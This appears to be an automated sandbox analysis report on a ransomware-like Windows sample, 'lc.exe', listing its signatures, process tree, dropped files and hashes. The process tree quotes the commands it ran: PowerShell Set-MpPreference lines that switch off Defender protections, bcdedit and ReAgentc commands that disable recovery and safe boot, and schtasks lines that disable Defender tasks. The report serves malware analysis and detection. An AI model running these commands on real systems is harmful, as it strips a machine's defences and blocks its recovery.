Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    23/10/2026, 16:00

General

  • Target
    lc.exe
  • Size 12.7MB
  • Sample261023-tf6efscv9v
  • SHA256 8af1a173db1d008e34a4c92afba33dd0def7b58880ee63626dec64355ce72f68
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
  • Modifies firewall policy service 3 TTPs 8 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
  • Renames multiple (89) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables one or more Microsoft Defender components 1 TTPs 4 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
  • Windows security modification 2 TTPs 16 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 50 IoCs
  • Modifies registry class 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • System policy modification 1 TTPs 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4464
    • C:\Windows\system32\def_none.exe
      "C:\Windows\system32\def_none.exe"
      2⤵
      • Executes dropped EXE
      PID:2400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:1356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableIOAVProtection $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      PID:4604
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      PID:1748
    • C:\Windows\System32\ReAgentc.exe
      "C:\Windows\System32\ReAgentc.exe" /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:1040
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2456
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4360
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {current} recoveryenabled false
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4708
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {current} optionsedit false
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3892
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {current} advancedoptions false
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4332
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {current} bootmenupolicy legacy
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5036
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {bootmgr} bootsequence {current}
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1708
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {bootmgr} timeout 0
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2128
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4988
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displayorder {default} /addfirst
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3144
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {fwbootmgr} displayorder {bootmgr} /addfirst
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:560
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {current} safeboot No
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3668
    • C:\Windows\System32\bcdedit.exe
      "C:\Windows\System32\bcdedit.exe" /set {bootmgr} removeoptions
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1352
  • C:\Windows\system32\def_none.exe
    "C:\Windows\system32\def_none.exe" -s -worker -tilog
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender TamperProtection settings
    • Modifies Windows Defender notification settings
    • Modifies firewall policy service
    • Modifies security service
    • Event Triggered Execution: Image File Execution Options Injection
    • Executes dropped EXE
    • Impair Defenses: Safe Mode Boot
    • Windows security modification
    • Reads the TCP/IP host and domain name from the registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4448
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE
      2⤵
        PID:2000
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE
        2⤵
          PID:1468
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE
          2⤵
            PID:1208
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE
            2⤵
              PID:1348
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /Change /TN "\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /DISABLE
              2⤵
                PID:3388
            • C:\Windows\system32\def_none.exe
              C:\Windows\system32\def_none.exe
              1⤵
              • Executes dropped EXE
              PID:4228
            • C:\Windows\system32\def_none.exe
              "C:\Windows\system32\def_none.exe" -s -worker -tilog
              1⤵
              • Modifies Windows Defender TamperProtection settings
              • Executes dropped EXE
              • Windows security modification
              • Reads the TCP/IP host and domain name from the registry
              PID:980
            • C:\Windows\system32\AUDIODG.EXE
              C:\Windows\system32\AUDIODG.EXE 0x308 0x2f4
              1⤵
                PID:3452

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 a31850cdbf90e3f18938765432f5d8956ed756a3fa7a476eceea0b2264832a80
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f58b8c986827fbf0dfe0665e92897777bba0192b6926097ab62fa22114e00984
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 1416c00a5cb484ddd7567805e1d93318435680c51d999bac859d2f1b0c810e7f
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_vuhk1oju.bqv.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vuhk1oju.bqv.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    wallpaper_ncrypt.jpg

                    • Path C:\Users\Admin\AppData\Local\Temp\wallpaper_ncrypt.jpg
                    • Size 174KB
                    • SHA256 d301eb64ec3b61091a3e6ee997bf8d114f3e6c5eda46afd6a8d23ad78459ea82
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    readme.txt

                    • Path C:\Users\Admin\Documents\Outlook Files\readme.txt
                    • Size 1KB
                    • SHA256 dc0f4e841f83fac37765278665a4a18caa9c414cd486a3562fbceeb532658965
                    • MD5 SHA1 SHA512 TLSH

                    AddUnregister.ods.aqd

                    • Path C:\Users\Admin\Downloads\AddUnregister.ods.aqd
                    • Size 948KB
                    • SHA256 dacb2e1c61ead3356df98aceb079080ae4334ea5b5e4b260bc73679f233ef189
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    ApproveInvoke.tif.aqd

                    • Path C:\Users\Admin\Downloads\ApproveInvoke.tif.aqd
                    • Size 756KB
                    • SHA256 1395d4edd2e8ba1a7b07ab3637310bb93fd2eac68480fee8e44f786b3d857543
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    def_none.exe

                    • Path C:\Windows\System32\def_none.exe
                    • Size 280KB
                    • SHA256 897307c0487c3f7376eedf6b3f999559e0aa16855571f30aef4621583f7ff46e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/1204-271-0x0000024668ED0000-0x0000024668EE0000-memory.dmp

                    memory/1204-277-0x00000246698D0000-0x00000246698F2000-memory.dmp

                    memory/4464-270-0x0000000003660000-0x0000000003670000-memory.dmp

                    memory/4464-253-0x0000000003660000-0x0000000003670000-memory.dmp

                    memory/4464-294-0x0000000003660000-0x0000000003670000-memory.dmp

                    memory/4464-0-0x00000000007E0000-0x000000000149A000-memory.dmp

                    memory/4464-1-0x0000000003660000-0x0000000003670000-memory.dmp